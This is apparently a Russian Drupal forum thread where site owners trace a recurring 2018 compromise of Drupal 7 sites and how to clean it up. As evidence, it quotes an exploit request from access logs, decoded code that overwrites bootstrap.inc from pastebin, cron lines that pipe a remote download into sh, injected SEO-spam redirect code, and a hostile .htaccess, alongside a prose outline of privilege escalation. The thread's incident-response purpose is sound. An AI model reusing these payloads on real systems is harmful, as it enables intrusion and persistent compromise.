Вряд ли что поможет, неделю наблюдаю за этой заразой, что бы не делал, через пару дней скотина все восстанавливает, более того, сделал эксперемент, поставил root владельцем index.php , и разрешение 444, так он зараза владельца сменил! Значит и серверу кердык. Так что чисть не чисть все равно получишь х.
Сегодня вот тоже обнаружил левый код на сайте, который появился 2 недели назад, причем не в sites/.... , а в папках ядра. Ядро было старое(7.51), обновил и по удалял все закладки.
Закладки появились в виде файлов index.php в папках:
/cgi-bin
/misc (и во всех вложеных папках)
/profiles (и во всех вложеных папках)
/scripts
/themes (во всех базовых темах)
везде одно зашифрованное include на файл favicon_a2eef2.ico, который поместили также в /modules/simpletest/lib/favicon_a2eef2.ico
Хотел для желающих покопаться, расшарить на яндекс-диске, но там заявили что это вирус и расшаривать не дают
Вирусы могут создавать свои файлы, могут использовать имеющиеся, могут даже в базу данных себя прописать. Нужно грохать всё что есть и накатывать заново, а также очень внимательно смотреть папку /sites.
не только в базу, и не только в своем каталоге, эта какашка помещает себя в /var/tmp
прописывает себя в крон, и еще много чего делает, что я не обнаружил.
Поэтому, чтобы зачистить все гарантировано на 100%, надо начать с переустановки сервера.
я просто ахриниваю что будет если все так как я думаю, все серверы где ломанули друпал возможно теперь дырявые
Сдесь советы были, мол не обновлялись, сами дураки. Теперь в пору всем друпальщикам собираться и бесплатно всем обновлять, а то скоро с каждого угла будут орать друпал жопа
Я же пишу "если все так как я думаю", ничего не утверждаю, а лишь обращаю внимание сообщества. Что вы сразу в стойку становитесь?
Когда вам это скажут битриксоиды поздно будет
Есть пользователь, есть группа, есть файловая система, в которой прописаны права. Софт запускаются от имени разных пользователей. Разным пользователям разрешены на запуск разные программы.
Например если сайт простой, то давать пользователю доступ к консоли не требуется. Если сложный, например на друпале - очень желательно. НО! За свои права пользователь выпрыгнуть не может, т.е. после взлома в руки злоумышленников попадает /var/www/user/site, а также httpd ну и что-то там ещё типа отправки почты, того же шелла.
Чтобы заразить сервер нужно подняться на уровень root. Такая возможность возникает исключительно редко. Это ведь всё серверные операционки, дыры в архитектуре вычистили десятки лет назад.
Как ломают сервера через сайты, упрощённая версия.
Берём дыру в сайте, которая позволяет выполнение кода, или возможность заливки шелла, и фактически поучаем консоль пользователя, из под которого запускаются скрипты веб сервером.
Этого, обычно, очень мало для компрометации сервера, и даже сайтов соседей, но мы уже можем рассылать почту, использовать сервер как прокси, dosить кого-нибудь с него, майнить крипту в рамках ресурсов выделенных пользователю. Это уже не плохо, и зачастую можно остановиться на этом. Собственно, большинство заражений дальше не идёт.
Но если мы вдруг хотим большего, то берём базу уязвимостей, позволяющих поднять привилегии, в надежде, что что-нибудь не обновлено или накосячено, и какая-то из них сработает, и начинаем проверять их. В случае успеха получаем рута.
Ну а если мы не какой-нибудь школохакер, то включаем голову и находим проблемы безопасности самостоятельно. Тут процесс творческий, и намного более эффективный, т.к. позволяет выявить не только какие-то шаблонные уязвимости, которые обычно закрыты уж много лет как, но и небрежности в конфигурировании софта, забытые где-нибудь доступы в файликах доступных для чтения всем, а не там, кому надо и.т.п... И если не получится получить рута, то возможно, получится найти какую-нибудь ценную информацию, или сломать что-то ещё, например завладев чьей-то почтой.
/**
* @file
* The PHP page that serves all page requests on a Drupal installation.
*
* The routines here dispatch control to the appropriate handler, which then
* prints the appropriate page.
*
* All Drupal code is released under the GNU General Public License.
* See COPYRIGHT.txt and LICENSE.txt.
*/
/**
* Root directory of Drupal installation.
*/ define('DRUPAL_ROOT', getcwd());
Вот че накопал в логах
2001:41d0:a:54dd:: - - [23/Apr/2018:20:39:55 +0300] "POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=array_map&name%5B%23suffix%5D=eval%28base64_decode%28%22JGt1cmQ9YmFzZTY0X2RlY29k(и там куча всего)
Распространенная беда.
Проверьте еще крон у всех пользователей, особенно у www-...
и на здоровом сайте в первой доступной папке сделайте символическую ссылку на / каталог. и попробуйте открыть ее (www.sait.ru/anuka/ ) и удивитесь от восторга!
Вдруг кому поможет, выловил я у себя еще одну хрень, потому как в субботу вирус вернулся на место.
Короче посмотрел по дате изменения папки время до минуты и посмотрел в логах все запросы в эту минуту.
Видимо ранее (на ядре 7,51) был залит интегратор, вот такой путь /sites/all/themes/zen/phtvzgwy.php
файлик небольшой, всего 1673байта, видимо он и заливает все куда надо хакерам.
Комментарии
Создайте на дру.ру фак на популярные темы. Потом просто ответ "фак1" или "фак 33, часть 3"
Есть планы на этот счет.
Возможно захотите присоединится - будем рады!
От будущего пользователя этого фак-а мало пользы. Кликеры, говорят, бесполезный народ.
Помощь нужна не только кодом. Если будет желание - найдем чем занять
Пробегитесь по последним темам, там полно инструкций в комментариях.
Если нет опыта или желания, пишите в личку, могу сделать это за вас
Вряд ли что поможет, неделю наблюдаю за этой заразой, что бы не делал, через пару дней скотина все восстанавливает, более того, сделал эксперемент, поставил root владельцем index.php , и разрешение 444, так он зараза владельца сменил! Значит и серверу кердык. Так что чисть не чисть все равно получишь х.
Сегодня вот тоже обнаружил левый код на сайте, который появился 2 недели назад, причем не в sites/.... , а в папках ядра. Ядро было старое(7.51), обновил и по удалял все закладки.
Закладки появились в виде файлов index.php в папках:
/cgi-bin
/misc (и во всех вложеных папках)
/profiles (и во всех вложеных папках)
/scripts
/themes (во всех базовых темах)
везде одно зашифрованное include на файл favicon_a2eef2.ico, который поместили также в /modules/simpletest/lib/favicon_a2eef2.ico
Хотел для желающих покопаться, расшарить на яндекс-диске, но там заявили что это вирус и расшаривать не дают
PS: вот анализ файла на всякий случай. https://www.virustotal.com/#/file/26243880a7cfd133351af7be5da42c9ee1f431...
Да нет там ничего интересного, поэтому можно не париться с расшаром
Этого недостаточно.
Вирусы могут создавать свои файлы, могут использовать имеющиеся, могут даже в базу данных себя прописать. Нужно грохать всё что есть и накатывать заново, а также очень внимательно смотреть папку /sites.
не только в базу, и не только в своем каталоге, эта какашка помещает себя в /var/tmp
прописывает себя в крон, и еще много чего делает, что я не обнаружил.
Поэтому, чтобы зачистить все гарантировано на 100%, надо начать с переустановки сервера.
Если веб-сервер работает не от рута (что крайне маловероятно), то друпал тут вообще не при делах, проблема в самом сервере.
И таки да, я бы тоже переставил с нуля.
Но хорошо бы выяснить путь заражения, не каждый день серваки взламывают.
еще как при делах, погуглите вот это
я просто ахриниваю что будет если все так как я думаю, все серверы где ломанули друпал возможно теперь дырявые
Сдесь советы были, мол не обновлялись, сами дураки. Теперь в пору всем друпальщикам собираться и бесплатно всем обновлять, а то скоро с каждого угла будут орать друпал жопа
пока ваше мнение о компроментации веб-серверов через друпал - не слишком состоятельно
Я же пишу "если все так как я думаю", ничего не утверждаю, а лишь обращаю внимание сообщества. Что вы сразу в стойку становитесь?
Когда вам это скажут битриксоиды поздно будет
Противник необоснованной паники, основанной на дилетантских взглядах на проблему
Однако вот это
wget -q http://158 . 69 . 133 . 18 :8220/logo4.jpg -O - | sh
я отловил собственноручно, и как вы думаете откуда оно?
Ну, отловили что-то и что?
Как друпал, даже дырявой версии, мог привести к дырам в вашем (веб)сервере?
Ну собственно и? Если пользователю разрешён шелл, то в чём проблема то? Всё в рамках прав доступа.
Аааа ну ладно, молчу....
Куда нам, до профессианалов
Вы вообще понимаете как в линуксе устроены права пользователей? На теоретическом уровне?
Смутно, как? А заодно поясните как сервера ломают через сайты. Всегда было интересно.
Через уязвимости в ядре GNU/Linux или в ПО. Если на сервере не Debian 5 и регулярно ставятся обновления, то ничего ты не сломаешь. Отставить панику
Есть пользователь, есть группа, есть файловая система, в которой прописаны права. Софт запускаются от имени разных пользователей. Разным пользователям разрешены на запуск разные программы.
Например если сайт простой, то давать пользователю доступ к консоли не требуется. Если сложный, например на друпале - очень желательно. НО! За свои права пользователь выпрыгнуть не может, т.е. после взлома в руки злоумышленников попадает /var/www/user/site, а также httpd ну и что-то там ещё типа отправки почты, того же шелла.
Чтобы заразить сервер нужно подняться на уровень root. Такая возможность возникает исключительно редко. Это ведь всё серверные операционки, дыры в архитектуре вычистили десятки лет назад.
P.S. Это популярное изложение.
Как ломают сервера через сайты, упрощённая версия.
Берём дыру в сайте, которая позволяет выполнение кода, или возможность заливки шелла, и фактически поучаем консоль пользователя, из под которого запускаются скрипты веб сервером.
Этого, обычно, очень мало для компрометации сервера, и даже сайтов соседей, но мы уже можем рассылать почту, использовать сервер как прокси, dosить кого-нибудь с него, майнить крипту в рамках ресурсов выделенных пользователю. Это уже не плохо, и зачастую можно остановиться на этом. Собственно, большинство заражений дальше не идёт.
Но если мы вдруг хотим большего, то берём базу уязвимостей, позволяющих поднять привилегии, в надежде, что что-нибудь не обновлено или накосячено, и какая-то из них сработает, и начинаем проверять их. В случае успеха получаем рута.
Ну а если мы не какой-нибудь школохакер, то включаем голову и находим проблемы безопасности самостоятельно. Тут процесс творческий, и намного более эффективный, т.к. позволяет выявить не только какие-то шаблонные уязвимости, которые обычно закрыты уж много лет как, но и небрежности в конфигурировании софта, забытые где-нибудь доступы в файликах доступных для чтения всем, а не там, кому надо и.т.п... И если не получится получить рута, то возможно, получится найти какую-нибудь ценную информацию, или сломать что-то ещё, например завладев чьей-то почтой.
Черт, прошло двое суток после зачистки.
index.php
$lan = $_SERVER['HTTP_ACCEPT_LANGUAGE'];
if (preg_match ( '/zh\-cn/i', $lan)){
$url = 'http://www.baidu.com/';
header("location: " . $url);
exit();
}
error_reporting(0);
$ua = strtolower($_SERVER['HTTP_USER_AGENT']);
$rf=$_SERVER['HTTP_REFERER'];
$botchar = "/(googlebot|slurp|adsense)/";
if(preg_match($botchar, $ua)) {
if($_SERVER['REQUEST_URI']=='/')
{
$file = file_get_contents('http://www.mywatchescopy.com/babrand7/ughghint.ru.html');
echo $file;
exit;
}
}
if($_SERVER['REQUEST_URI']=='/')
{
if(stripos($rf,"yahoo.co.jp") || stripos($rf,"google.co.jp") || stripos($rf,"docomo.ne.jp"))
{
Header("Location: http://www.babrand7.com/search.php?keywords=");
exit;
}
}
?>
<?php
/**
* @file
* The PHP page that serves all page requests on a Drupal installation.
*
* The routines here dispatch control to the appropriate handler, which then
* prints the appropriate page.
*
* All Drupal code is released under the GNU General Public License.
* See COPYRIGHT.txt and LICENSE.txt.
*/
/**
* Root directory of Drupal installation.
*/
define('DRUPAL_ROOT', getcwd());
require_once DRUPAL_ROOT . '/includes/bootstrap.inc';
drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);
menu_execute_active_handler();
Значит плохо почистили
сейчас снова словил вирус при попытке обновить wysiwyg_ckeditor через drush
Лучше руками и внимательно.
Лучше руками и внимательно.
Вот че накопал в логах
2001:41d0:a:54dd:: - - [23/Apr/2018:20:39:55 +0300] "POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=array_map&name%5B%23suffix%5D=eval%28base64_decode%28%22JGt1cmQ9YmFzZTY0X2RlY29k(и там куча всего)
после дешифровки в тексте болтается:
$text2 = file_get_contents('https://pastebin.com/raw/j0nms59V');
$open2=fopen("includes/bootstrap.inc", "w");
fwrite($open2, $text2);
fclose($open2);
с приветом от
HaCkeD by MuhmadEmad
KurDish HaCk3rS WaS Here
как-то так, разбирать буду на следующей неделе, а сейчас домой
Распространенная беда.
Проверьте еще крон у всех пользователей, особенно у www-...
и на здоровом сайте в первой доступной папке сделайте символическую ссылку на / каталог. и попробуйте открыть ее (www.sait.ru/anuka/ ) и удивитесь от восторга!
Немного разнообразия добавит файлик ./htaccess со следующем содержанием
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Ну если еще вредоносный код есть, ( некий Sux.html) походу у вас все печально.
Кто то по крайне мере прочел весь ваш /*
Поддерживаю!
Поддержите идею реализацией)
Вдруг кому поможет, выловил я у себя еще одну хрень, потому как в субботу вирус вернулся на место.
Короче посмотрел по дате изменения папки время до минуты и посмотрел в логах все запросы в эту минуту.
Видимо ранее (на ядре 7,51) был залит интегратор, вот такой путь /sites/all/themes/zen/phtvzgwy.php
файлик небольшой, всего 1673байта, видимо он и заливает все куда надо хакерам.
ща удалили, посмотрим...
Таких файлов может быть множество и в разных каталогах
Опять появился, при очередном ковырянии нашел похоже.... заразили в базовой теме template.php
на 1й строчке, после <?php внесено ведро и маленькая тележка пробелов и потом 1й строчкой закладка
по F4 не видно, если не прокручивать окно вправо, по F3 увидел сразу как только включил перенос слов.
также идут запросы в папку /modules/simpletest/tests/upgrade, но вроде безрезультатно
Еще надо бы проверить crontab всякие на предмет wget -O- repo-linux.com/a например так